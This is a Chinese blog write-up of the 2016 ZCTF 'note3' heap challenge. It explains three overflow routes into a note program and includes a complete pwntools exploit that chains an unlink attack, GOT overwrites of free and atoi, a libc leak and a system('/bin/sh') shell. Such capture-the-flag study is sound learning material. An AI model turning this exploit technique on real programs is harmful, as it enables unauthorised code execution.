• 2016 ZCTF note3:一种新解法


    2016 ZCTF note3:一种新解法

    最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1,一种是设置块大小为0使得写入时利用整数溢出漏洞可以将数据溢出到下一个块中。我采取了另一种思路:程序在分配id=7块时虽然提示块已满,但没有采取措施,依然分配了一个块,并将块地址放在了存放块0 size的位置,使得可以往块0写入足够多的数据溢出到下一个块中。

    我先分析我的解法,然后再简单叙述一下另外两种解法的原理。

    程序分析

    一般步骤查看程序保护措施。

    该程序有4个功能:

    • New note
    • Show note(假的,只打印一个字符串)
    • Edit note
    • Delete note

    New功能

    添加note函数如下图,主要流程已通过注释标注。值得注意的是当i=7时,虽然提示note已满,添加失败,但没有return语句,后面依然为它分配块并将地址保存在&ptr+7处。(注意:i=0时块的size保存在qword_6020C0[0+8]处)

    需要关注的是qword_6020C0ptr的关系,其内存关系如下所示

    .bss:00000000006020C0 ; __int64 qword_6020C0[]
    .bss:00000000006020C0 qword_6020C0    dq ?                    ; DATA XREF: sub_400A30+D1↑w
    .bss:00000000006020C0                                         ; sub_400A30+E6↑w ...
    .bss:00000000006020C8 ; void *ptr
    .bss:00000000006020C8 ptr             dq ?                    ; DATA XREF: sub_400A30+16↑r
    .bss:00000000006020C8                                         ; sub_400A30+BC↑w ...
    .bss:00000000006020D0                 dq ?
    .bss:00000000006020D8                 dq ?
    .bss:00000000006020E0                 dq ?
    .bss:00000000006020E8                 dq ?
    .bss:00000000006020F0                 dq ?
    .bss:00000000006020F8                 dq ?
    .bss:0000000000602100                 dq ?
    .bss:0000000000602108                 dq ?

    可以看到ptr所在位置等同于qword_6020C0[1]所在位置,所以当i=7时分配的块地址保存在&ptr+7等同于保存在qword_6020C0[8]处,即表示i=0块的大小。通过分配i=7块可实现i=0块大小被新分配块地址覆写,而块地址所代表的大小足够我们溢出到后面的块内。

    Show功能

    该功能没什么用,只打印一串字符串。

    Edit功能

    如图,主要操作通过注释的方式介绍。

    Delete功能

    qword_6020C0[0]可以理解为最近操作过的块地址。

    漏洞利用

    漏洞利用思路如下:

    1.unlink

    添加7个块后,再添加一个块(i=7),这时块0的大小会被改的很大(值为块7的地址),然后在块0中构造fake_chunk并溢出到下一个块修改header数据实现unlink。需要注意第i=1个块时大小要超过fastbin的范围。

    2.泄露地址

    unlink后可以实现任意写。为了泄露函数地址,需要执行输出函数,可以将free@got值改为puts@plt值,然后将块i的地址改为puts@got的地址,这时调用删除功能free(块i)就可以输出puts@got的值,从而得到动态链接库加载地址,进一步得到system地址。

    3.getshell

    最后将atoi@got值改为system地址,然后在选择功能时输入/bin/sh即可得到shell。

    Expolit

    漏洞利用代码如下:

    from pwn import *
    
    p = process('./note3')
    #context.log_level = 'debug'
    
    def new(size,content):
        p.sendlineafter('option--->>','1')
        p.sendlineafter('1024)',str(size))
        p.sendlineafter('content:', content)
        p.recvuntil('\n')
    
    def edit(idx, content):
        p.sendlineafter('option--->>','3')
        p.sendlineafter('note:', str(idx))
        p.sendlineafter('content:', content)
        p.recvuntil('success')
    
    def delete(idx):
        p.sendlineafter('option--->>', '4')
        p.sendlineafter('note:', str(idx))
    
    #gdb.attach(p)
    # 分配7+1个块
    new(0x40, 'b'*32)
    new(0x80, 'b'*32)	#为进行unlink,块要大于fastbin
    new(0x80, 'b'*32)
    new(0x80, 'b'*32)
    new(0x80, 'b'*32)
    new(0x80, 'b'*32)
    new(0x80, 'b'*32)
    new(0x80, 'b'*32)	#第0块的size变量值会被该块的地址覆盖,进而第0块可以写入足够多的数据
    
    target = 0x6020C8	#指向ptr
    fd = target - 0x18
    bk = target - 0x10
    # 构造fake_chunk
    payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8
    # 溢出到下一个块,覆盖chunk header
    payload += p64(0x40) + p64(0x90)
    edit(0,payload)		# 向块0写入数据溢出
    delete(1)			# 触发unlink=>ptr[0]=&ptr-0x18
    
    elf = ELF('./note3')
    # 从&ptr-0x18开始写入数据 =>
    # 0x6020C8(ptr+0x00): elf.got['free']		chunk0_ptr
    # 0x6020D0(ptr+0x08): elf.got['puts']		chunk1_ptr
    # 0x6020D8(ptr+0x10): 0x6020C8				chunk2_ptr
    payload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)
    edit(0,payload)
    
    # 将free@got改为puts@plt:
    # 向chunk0_ptr(free@got)写入puts@plt
    # 注意这里发送的地址是7位,因为程序会在用户输入后面加上\x00,若发送8位会将下一个got地址低字节变为0。这里puts@plt高字节也为\x00,所以发送7位无影响。
    edit(0, p64(elf.plt['puts'])[:-1])
    # 原会调用free(chunk1_put),实际调用puts(puts@got)泄露地址
    delete(1)
    p.recvuntil('\n')
    # 读取泄露的地址值
    puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
    print(hex(puts_addr))
    # 任意地址写,通过edit chunk2_ptr来修改chunk0_ptr的指向,再通过edit chunk0_ptr修改chunk0_ptr指向的值。
    def write(where,what):
        edit(2, p64(where))
        edit(0, p64(what))
    # 获取libc基址
    libc = ELF('./libc-2.23.so')
    libc_base = puts_addr - libc.symbols['puts']
    log.success('libc base: ' + hex(libc_base))
    # 获取system函数地址
    sys_addr = libc_base + libc.symbols['system']
    log.success('sys_addr: ' + hex(sys_addr))
    # 将atio@got值改为system函数地址
    write(elf.got['atoi'], sys_addr)
    # 因为atoi改为了system,输入选项时输入"/bin/sh",会执行system("/bin/sh")
    p.sendlineafter('option--->>','/bin/sh\x00')
    p.interactive()

    执行结果如图所示

    方法2:编辑时整数溢出

    下图为向块写入时的功能函数,这里变量i定义为unsigned __int64类型,在第7行,当a20时,a2-1就会变得"无限大",从而可以无限制写入数据,溢出到下一个块,利用unlink漏洞实现任意地址写,进而拿到系统shell。

    方法3:输入索引整数溢出

    在edit功能内,调用read_num_4009B9()让用户输入索引,利用求余使索引小于7

    进入read_num_4009B9()函数内,可以看到程序对用户输入进行了判断,若小于0则取相反数。

    漏洞就出现在,当用户输入的为最大负整数(即-9223372036854775808),内存中十六进制表示为0x8000000000000000,取相反数过程为-x=~x+1,即0x7fffffffffffffff+1=0x8000000000000000在计算机表示中最大负整数的相反数还是最大负整数

    v0为最大负整数,则v0%7>=v0的条件也能被满足,且结果v3-1,这将向ptr[-1]指向的地址写入内容,而ptr[-1]指向的地址为最近操作过的块的地址。而写入的大小为qword_6020C0[-1+8],即ptr[6],其为i=6块的地址,即可以写入"无限"多的数据,溢出到下一块实现unlink,进一步实现任意地址写、函数地址泄露、构造执行system("/bin/sh"),拿到shell。


    __EOF__

  • 本文作者: C0ngvv
  • 本文链接: https://www.cnblogs.com/C0ngvv/p/16747914.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    MySQL-解析客户端SQL执行字符集参数设置
    Tkinter生成界面--生成robot运行命令后,调命令行运行
    C/C++ 经典面试算法题
    基于微信小程序的知识题库系统设计与实现-计算机毕业设计源码+LW文档
    cf1716(A、B)、cf1714(A、B、C)
    自定义GPT已经出现,并将影响人工智能的一切,做好被挑战的准备了吗?
    开发过程教学——交友小程序
    【计算机网络篇】数据链路层(13)共享式以太网与交换式以太网的对比
    家政服务管理系统,家政服务系统平台,家政服务网站毕设作品
    基于深度学习的智能PCB板缺陷检测系统(Python+清新界面+数据集)
  • 原文地址:https://www.cnblogs.com/C0ngvv/p/16747914.html